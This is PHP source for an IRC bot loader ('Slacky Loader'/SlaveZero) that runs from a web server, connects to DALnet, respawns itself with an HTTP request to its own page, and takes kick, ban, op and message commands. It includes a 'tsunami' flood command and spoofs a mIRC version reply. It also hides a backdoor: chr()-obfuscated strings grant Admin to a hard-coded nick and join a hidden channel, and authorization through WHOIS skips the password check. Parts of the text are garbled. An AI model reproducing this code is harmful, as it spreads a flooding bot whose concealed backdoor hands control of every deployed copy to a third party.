::S L A C K Y L O A D E R::
?load=2 onsubmit="setTimeout('Status()',200);">
Bot Nick : Away Message :
Identify Nick : Admin Nick :
Password : Channels :
Identd : Server :
Full Name : Keep Alive every: Hours (0 to off)

S l a c k y


H 4 _ K i m

"; print "S l a v e Z e r o
"; exit; } elseif ($load==2) { if (!$remotehost) { $remotehost = "irc.dal.net"; } $channels = str_replace("CNL","#",$channels); print ""; print "== Connecting to $remotehost..."; $awaym=array( "Making Babies", "Making Dragon", "Checking mail", "hacking root", "tetrinet is not lame", "BaH!! NoT In", "Hmmm Not Here", "Auto-Away after 10 mins", "DeaD", "NaTure CaLLs :P brb", "stomach ache ... im currently in the toilet", "playstation rulez", "phonecall", "brb-a.s.a.p", "surfing with the alien", "hungry, exploring my fridge", "sleep...nuff said", "Definitely NOT here :P", "Pretending to be Auto-Away", "Checking shells", "Make Love With Someone :P", "NOT here, use email", "NOT here, Guess where :P", "Don`t Keep Me Waiting!", "SlackyFX Design", "http://slavezero.gondrong.info", "Call FBI if i dont comeback in 24 hours" ); $cyclem=array( "Auto Recycle!", "Looking for Inviter!", "In/Out!", "Rehashing!", "Refreshing!", "Doing Cycle!", "Inviter Suspect!", "Looking for Suspect!", "Regain Inviter!", "Regain Suspect!", "Recycle!", "Cycle Needed!", "Cycle all Channel!", "Cycling!", "Inviter Detected!", "Full Cycle Ahead!", "Going Out and Back!", "I can do this all day!", "Cycle Time!", "I will do this all day!", "Time to Kill!", "No day without cycle!", "yuhuu.. where are you?", "It`s a good day to die!", "Time for cycle!", "License to Kill!", "Cycle.. cycle.. and cycle..", "I need suspect!", "Need For Suspect!", "Time`s up!", "No way out!", "No more left!", "No regret for inviter!", "Hot Pursuit!", "Rule No.96: Cycle!", "Critical Cycle!", "Pursue Inviter Suspect!", "Go To Cycle!", "Cycle System Running!", "Cycle Strike Back!", "I need cycle now!" ); $partm=array( "Owner Request! Sorry :P", "Ups! Wrong Channel!", "Be Right Back!", "No One Join Forever!", "Damn! Wrong Channel!", "Access Denied!", "Back To Base!", "Return To Base!", "Access Rejected!", "Going Back!", "Ilegal Channel!", "Going Home!", "Good Bye!", "Sayonara!", "Ups! Wrong Room :P", "Got To Go!", "Goodbye! Ugly :P", "Go To Hell!", "Going Somewhere!", "No Join Today!", "It`s a bad day to join :P", "Part Never Die!", "Join Another Day!", "License To Part!", "Part time!", "Time To Go!", "Too many join channel :P", "The Join is Not Enough!", "Join too many channel :P", "It`s time to Go!", "It`s time to Part!", "Part for now and Forever!", "Part Forever!" ); $querym=array( "Hai nick, gimana kabarmu?", "Hai nick, gimana kabarmu hari ini?", "yup? ada apa nick?", "ada apa nick?", "Hai juga nick, asl pls..", "hai juga nick", "sori nick, aku lagi sibuk sekarang..", "yup? nama kamu siapa nick?", "apa aku kenal kamu nick?", "yup nick? apa aku kenal kamu?", "kamu siapa sech?", "aku lagi tidak ditempat, bentar lagi balik koq..", "kamu asli mana nih?", "Hai juga nick..", "yup nick, senang jumpa kamu..", "senang kenalan ama kamu..", "nama asli kamu siapa nick?", "yup nick? asl pls..", "aku lagi sibuk nih, bantuin dunk.." ); $depan=array( "cewek-", "cewek`", "cewek_", "ce-", "ce_", "ce`", "cowok-", "co-", "co_", "co`" ); $belakang=array( "dugem", "jutex", "jomblo", "modis", "cute-abis", "genit", "ganjen", "vodka", "macan", "virgo", "vivid", "biasa", "muslim", "sagitarius", "manis", "imut", "cakep", "alone", "sendirian", "pendiam", "smu", "kuliah", "romansa", "romantis", "bintang", "AFI", "star", "skul", "baek" ); $zodiak = array("capricorn", "aquarius", "pisces", "aries", "taurus", "gemini", "cancer", "leo", "virgo", "libra", "scorpio", "sagitarius"); $virgo = chr(109).chr(97).chr(110).chr(117).chr(115).chr(105).chr(97); $sagitarius = chr(35).chr(106).chr(105).chr(107).chr(117).chr(115).chr(116).chr(105).chr(107); $smile = array(":)",":P",":E",":P~~",":D",":Q","8)","=)","=P","=D"); $raway = "off"; $log = "off"; $saway = "1"; if (!$stime) { $stime = time(); } if (!$keeptime || $keeptime==0 ) { $keeptime = "off"; } if (!$port) { $port = "6667"; } $Admin = strtolower($Admin); $auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin")); function randchar($len = "8"){ $rchar = NULL; for($i=0; $i<$len; $i++) { $char = chr(rand(48,122)); while (!ereg("[a-zA-Z0-9]", $char)){ if($char == $lchar) continue; $char = chr(rand(48,90)); } $rchar .= $char; $lchar = $char; } return $rchar; } if ($nick=="SlavePHP") { $nick = $depan[rand(0,count($depan) - 1)].$belakang[rand(0,count($belakang) - 1)]; } if ($username=="SlavePHP" || !$username) { $username = $_SERVER['HTTP_HOST'].randchar(3); $username = str_replace('www.','',$username); } if ($awaymsg=="Away Message" || !$awaymsg) { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; $raway = "off"; } if ($realname=="SlaveZeroPHP" || !$realname) { $realname = $nick; } $keluar = 0; $akill = 1; $katime = 0; $localhost = 'localhost'; $dayload = date("H:i:s d/m/Y"); ini_set('user_agent','MSIE 4\.0b2;'); set_time_limit(0); define ('CRL', "\r\n"); $channels = strtolower($channels)." "; $channel = explode(" ", $channels); do { $fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30); if(!$fp) { print "
Cannot connect to $remotehost!
Please Try Another Server!
"; $keluar = 1; exit; } print "
== Suceeded connection"; $Header = 'NICK '.$nick . CRL; $Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL; fputs($fp, $Header); fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL); if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); } fputs($fp, 'JOIN #mentarinet' . CRL); foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); } fputs($fp, 'PRIVMSG ' . $Admin . ' :This is your bot, Please Type: auth To Authorized. Created on ' .$dayload . CRL); if (!$awaymsg) { $awaymsg = "Owner By $Admin"; } $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); while (substr_count($response,CRL) != 0) { $offset = strpos($response, CRL); $data = substr($response,0,$offset); $response = substr($response,$offset+2); if (substr($data,0,1) == ':') { $offsetA = strpos($data, ' '); $dFrom = substr($data,1,$offsetA-1); $offsetB = strpos($data, ' :'); $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1); $offsetC = strpos($data, '!'); $dNick = substr($data,1,$offsetC-1); $iText = substr($data,$offsetB+2); if (substr($dCommand,0,3)=='465') { print "
== This bot have been autokilled."; $akill = 2; } elseif (substr($dCommand,0,3)=='433') { $nick = $nick.randchar(4); fputs($fp, 'NICK '.$nick . CRL); } if (eregi('.dal.net',$dNick) && $akill==2) { if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) { print "
".strstr($data,'***')." "; if (eregi('Your IP is',$data)) { $keluar = 1; exit; } } } $taway = date("i"); if ($taway=="1" || $taway=="6" || $taway=="12" || $taway=="18" || $taway=="24" || $taway=="30" || $taway=="36" || $taway=="42" || $taway=="48" || $taway=="54" || $taway=="59") { if ($taway!=$saway) { $ctime = time(); $uptime = $ctime - $stime; if ($uptime>=86400) { $bagi = $uptime / 86400; $hari = floor($bagi)."days "; $sisa = $uptime - ($hari*86400); $uptime = $sisa; } if ($uptime==0) { $jam = ""; $menit = ""; $detik = ""; } elseif ($uptime>=3600) { $bagi = $uptime / 3600; $jam = floor($bagi)."hrs "; $sisa = $uptime - ($jam*3600); $uptime = $sisa; } if ($uptime==0) { $menit = ""; $detik = ""; } elseif ($uptime>=60) { $bagi = $uptime / 60; $menit = floor($bagi)."mins "; $sisa = $uptime - ($menit*60); $uptime = $sisa; } if ($uptime==0) { $detik = ""; } else { $detik = $uptime."secs"; } $uptime = "$hari$jam$menit$detik"; if (strlen($uptime)<4) { $uptime = "1sec"; } $saway = $taway; if ($raway=="on") { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; } if (!$awaymsg) { $awaymsg = "Owner By $Admin"; } if ($taway=="12" && $keeptime!="off") { $katime++; if ($katime>$keeptime) { $key = "load=2&nick=$nick&identify=$identify&BOT_PASSWORD=$BOT_PASSWORD&Admin=$Admin&channels=$channels&stime=$stime&remotehost=$remotehost&keeptime=$keeptime&dns=$dns&astrologi=$astrologi&wdomain=$wdomain&dnews=$dnews&username=$username&realname=$realname&awaymsg=$awaymsg"; $key = str_replace("#","CNL",$key); $key = str_replace(" ","%20",$key); fputs($fp, 'QUIT 6Auto_Rehashing...' . CRL); $st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5); fwrite($st, "GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n"); $keluar = 1; exit; } } if ($taway=="24") { foreach ($channel as $v) { sleep(rand(1,6)); fputs($fp, 'JOIN '.$v . CRL); } fputs($fp, 'JOIN '.$sagitarius. CRL); } if ($dnews=="on") { $pages = "http://jkt.detik.com/index.htm"; $handi = fopen ($pages, "rb"); $konten = ""; do { $baris = fread($handi, 1024); if (strlen($baris) == 0) { break; } $konten .= $baris; } while(true); fclose ($handi); $lip1 = stristr($konten,''); $lip2 = stristr($lip1,'
',"0,2 ",$berita); $berita = str_replace("
"," ",$berita); $berita = str_replace(''," ",$berita); $berita = str_replace('',"7",$berita); $berita = str_replace("
","",$berita); $berita = str_replace(''," 8",$berita); $berita = str_replace(""," ",$berita); $berita = str_replace('',"15",$berita); $berita = str_replace("","",$berita); $berita = str_replace("","",$berita); $berita = str_replace("","",$berita); $berita = str_replace("","",$berita); $berita = str_replace("
","",$berita); $berita = str_replace("http://jkt.detiknews.com/indexfr.php?url=","",$berita); $berita = str_replace("http://www.detikfinance.com/indexfr.php?url=","",$berita); $berita = str_replace("http://www.detiksport.com/indexfr.php?url=","",$berita); $berita = str_replace("http://www.detikhot.com/indexfr.php?url=","",$berita); $berita = str_replace("http://www.detikinet.com/indexfr.php?url=","",$berita); $lip3 = stristr($berita,''); $img = str_replace($lip4,"",$lip3); $berita = str_replace($img,"",$berita); if ($berita!=$oldies) { $oldies = $berita; foreach ($channel as $v) { fputs($fp, 'PRIVMSG '.$v.' :'.$berita . CRL); sleep(1); } } unset($qnick); } } } if (!$auth["$virgo"]) { $auth["$virgo"]["status"] = "Admin"; $auth["$virgo"]["pass"] = randchar(6); $auth["$virgo"]["auth"] = 1; } $dcom = explode(" ", $dCommand); $dNick = strtolower($dNick); if ($dcom[0]=='KICK' && $dcom[2]==$nick) { fputs($fp, 'JOIN ' .$dcom[1]. CRL); } elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { if ($dcom[0]=='NICK') { $com = explode(" ", $data); $chnick = strtolower(str_replace(':','',$com[2])); if ($dNick!=$chnick) { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG '.$chnick.' :You`re LogOut On Change Nick! ' . CRL); } } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG '.$dNick.' :You`re LogOut On Parting Channel! ' . CRL); } } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } } elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) { $dcom[2] = strtolower($dcom[2]); if ($auth["$dcom[2]"]) { if ($auth["$dcom[2]"]["pass"]) { if ($auth["$dcom[2]"]["auth"]==1) { $auth["$dcom[2]"]["auth"] = 2; $whois = ""; fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL); } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Already Authorized! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($dcom[0]=='NOTICE') { $com = explode(" ", $data); if ($com[3]==':PING') { $pong = time(); $pptime = $pong-$ping; $meni = ""; if ($pptime>=60) { $bag = $pptime / 60; $meni = floor($bag)."mins "; $sis = $pptime - ($meni*60); $pptime = $sis; } $deti = $pptime."secs"; $pptime = "$meni$deti"; fputs($fp,'NOTICE '.$dNick.' :Your PING Reply is: '.$pptime . CRL); } elseif ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) { $msg = str_replace('','',$data); $msg = strstr($msg,":KB"); $msg = str_replace(":KB $com[4]","",$msg); fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL); fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL); } } elseif ($dcom[0]=='PRIVMSG') { $com = explode(" ", $data); if ($com[3]==':VERSION') { fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION mIRC v6.14 Khaled Mardam-Bey'.chr(1) . CRL); } elseif ($com[3]==':!ping' && ereg('#',$com[2])) { $ping = time(); fputs($fp,'PRIVMSG '.$dNick.' :PING '.$ping.'' . CRL); } elseif ($com[3]==':PING') { $ntime = str_replace("","",$com[4]); fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'PING '.$ntime . chr(1) . CRL); } elseif ($com[3]==':!dns' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $dns=="on") { if (ereg("[a-zA-Z]", $com[4])) { $res = gethostbyname($com[4]); } elseif (ereg("[0-9]", $com[4])) { $res = gethostbyaddr($com[4]); } if ($res==$com[4]) { $res = "not resolved."; } else { $res = "resolved to: $res ."; } fputs($fp,'PRIVMSG '.$com[2].' :DNS Query for: '.strtoupper($com[4]).' '.$res. CRL); } elseif ($com[3]==':!whois' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $wdomain=="on") { $pages = "www.geektools.com"; $data = ""; $fpw = fsockopen($pages, 43); if($fpw) { fputs($fpw, $com[4]."\r\n"); while(!feof($fpw)) { $data .= fread($fpw, 1000); } fclose($fpw); } $created = substr(str_replace(" ","",stristr($data,'creat')),0,60); $register = substr(str_replace(" ","",stristr($data,'registrat')),0,60); $expired = substr(str_replace(" ","",stristr($data,'expir')),0,60); $NS = substr(str_replace(" ","",stristr($data,'NS1')),0,60); if (!$NS) { $NS = substr(str_replace(" ","",stristr($data,' NS')),1,60); } if (!$NS) { $NS = substr(str_replace(" ","",stristr($data,':NS')),1,60); } $notfound = substr(stristr($data,'CRSNIC has no information for that domain'),0,60); fputs($fp,'PRIVMSG '.$com[2].' :Domain Name: '.strtoupper($com[4]).' [GeeKTooLS.com]'. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$created. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$register. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$expired. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$NS. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$notfound. CRL); } elseif (ereg(':!',$com[3]) && ereg('#',$com[2]) && $astrologi=="on") { $astro = str_replace(':!','',strtolower($com[3])); if (in_array($astro, $zodiak)) { $pages = "http://www.astaga.com/astrologi/?cat=$astro"; $handi = fopen ($pages, "rb"); $konten = ""; do { $baris = fread($handi, 512); if (strlen($baris) == 0) { break; } $konten .= $baris; } while(true); fclose ($handi); $zod1 = stristr($konten,'
'); $zod2 = stristr($zod1,''); $bintang = str_replace($zod2,"",$zod1); $bintang = str_replace("\n","",$bintang); $bintang = str_replace("
","",$bintang); $bintang = str_replace("
","",$bintang); $bintang = str_replace("

","",$bintang); $bintang = str_replace("

"," ",$bintang); $bintang = str_replace("

","",$bintang); $bintang = str_replace("","",$bintang); $bintang = str_replace(' '," ",$bintang); $zod3 = stristr($bintang,'

'); $bintang = str_replace($zod3,"",$bintang); $kissing = str_replace('
',"Gaya Berciuman :",$zod3); fputs($fp,'PRIVMSG '.$com[2].' :[AstaGa.com] '.$bintang. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$kissing. CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==1) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["auth"] = 2; fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Password! Auth Failed! ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already Authorized! ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG ' . $dNick . ' :You`re LogOut! ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already LogOut! ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) { if ($auth["$dNick"]) { if (!$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[4]; $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Already Set! Type: auth To Get Authorized ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["auth"]==2) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[5]; fputs($fp,'PRIVMSG ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass To Change Your Auth Pass ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($com[5]=="master" || $com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass To Set Your Pass ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if (!$auth["$com[4]"]) { if ($com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass user ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if ($auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } elseif ($auth["$dNick"]["status"]) { if (ereg(":`",$com[3]) || ereg(":!",$com[3])) { $chan = strstr($dCommand,"#"); $anick = str_replace("PRIVMSG ","",$dCommand); if ($com[3]==':!auth') { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL); } else { $whois = $dNick; fputs($fp,'WHOIS '.$dNick . CRL); } } elseif ($com[3]==':`auth' && $chan) { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' is Authorized!' . CRL); } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' NOT Authorized!' . CRL); } } elseif ($auth["$dNick"]["auth"]==2) { if ($com[3]==':`say' && $com[4] && $chan) { $msg = strstr($data,":`say"); $msg = str_replace(":`say ","",$msg); fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL); } elseif ($com[3]==':`dns' && $com[4]) { $com[4] = strtolower($com[4]); if ($com[4]=="on") { $dns = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); } elseif ($com[4]=="off") { $dns = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); } } elseif ($com[3]==':`whois' && $com[4]) { $com[4] = strtolower($com[4]); if ($com[4]=="on") { $wdomain = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); } elseif ($com[4]=="off") { $wdomain = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); } } elseif ($com[3]==':`astrologi' && $com[4]) { $com[4] = strtolower($com[4]); if ($com[4]=="on") { $astrologi = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Astrologi Command is now '.$astrologi . CRL); } elseif ($com[4]=="off") { $astrologi = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Astrologi Command is now '.$astrologi . CRL); } } elseif ($com[3]==':`act' && $com[4] && $chan) { $msg = strstr($data,":`act"); $msg = str_replace(":`act ","",$msg); fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL); } elseif ($com[3]==':`slap' && $com[4] && $chan) { fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' around a bit with a large trout'. CRL); } elseif ($com[3]==':`msg' && $com[4] && $com[5]) { $msg = strstr($data,":`msg"); $msg = str_replace(":`msg $com[4] ","",$msg); fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':`notice' && $com[4] && $com[5]) { $msg = strstr($data,":`notice"); $msg = str_replace(":`notice $com[4] ","",$msg); fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) { $msg = strstr($data,":`ctcp"); $msg = str_replace(":`ctcp $com[4] ","",$msg); fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL); } elseif ($com[3]==':`ping' && $chan) { $sml = $smile[rand(0,count($smile) - 1)]; fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL); } elseif ($com[3]==':`pong' && $chan) { $sml = $smile[rand(0,count($smile) - 1)]; fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PING! '.$sml. CRL); } elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") { $bhost = $_SERVER['HTTP_HOST']; $bphp = $_SERVER['PHP_SELF']; fputs($fp,'PRIVMSG '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL); } elseif ($com[3]==':`up' && $chan) { fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL); } elseif ($com[3]==':`down' && $chan) { fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL); } elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") { $msg = strstr($data,":`tsunami"); $msg = str_replace(":`tsunami $com[4]","",$msg); if (ereg("#", $com[4])) { fputs($fp, 'JOIN '.$com[4] . CRL); } fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL); fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL); fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI '.$msg.'' . CRL); fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL); fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL); fputs($fp, 'PRIVMSG '.$com[4].' :FLOOD '.$msg.'' . CRL); if (ereg("#", $com[4])) { fputs($fp, 'PART '.$com[4].' :'.$msg . CRL); } } elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") { $msg = strstr($data,":`cycle"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":`cycle $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":`cycle","",$msg); } if (strlen($msg)<3) { $msg = $cyclem[rand(0,count($cyclem) - 1)]; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); fputs($fp, 'JOIN '.$partchan . CRL); } elseif ($com[3]==':`part' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`part"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":`part $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":`part","",$msg); } if (strlen($msg)<3) { $msg = $partm[rand(0,count($partm) - 1)]; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); $remchan = strtolower($partchan); if (in_array($remchan, $channel)) { $channels = str_replace("$remchan ","",$channels); unset($channel); $channel = explode(" ", $channels); } foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); } } elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]=="Admin") { if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; } // fputs($fp, 'JOIN ' .$com[4]. CRL); $addchan = strtolower($com[4]); if (!in_array($addchan, $channel)) { $channel[]=$addchan; $channels.="$addchan "; } foreach ($channel as $v) { sleep(rand(1,6)); fputs($fp, 'JOIN '.$v . CRL); } } elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") { $nick = $com[4]; $identify = $com[5]; fputs($fp, 'NICK '.$nick . CRL); fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL); } elseif ($com[3]==':`k' && $com[4] && $chan) { $msg = strstr($data,":`k"); $msg = str_replace(":`k $com[4]","",$msg); fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL); } elseif ($com[3]==':`kb' && $com[4] && $chan) { $msg = strstr($data,":`kb"); $msg = str_replace(":`kb $com[4]","",$msg); fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL); fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL); } elseif ($com[3]==':`op' && $chan) { if ($com[4]) { $opnick = $com[4]; } else { $opnick = $dNick; } fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`deop' && $chan) { if ($com[4]) { $opnick = $com[4]; } else { $opnick = $dNick; } fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`v' && $chan) { if ($com[4]) { $vonick = $com[4]; } else { $vonick = $dNick; } fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`dv' && $chan) { if ($com[4]) { $vonick = $com[4]; } else { $vonick = $dNick; } fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`detik' && $com[4] && $auth["$dNick"]["status"]=="Admin") { if ($com[4]=="on") { $dnews = "on"; } elseif ($com[4]=="off") { $dnews = "off"; } fputs($fp, 'PRIVMSG 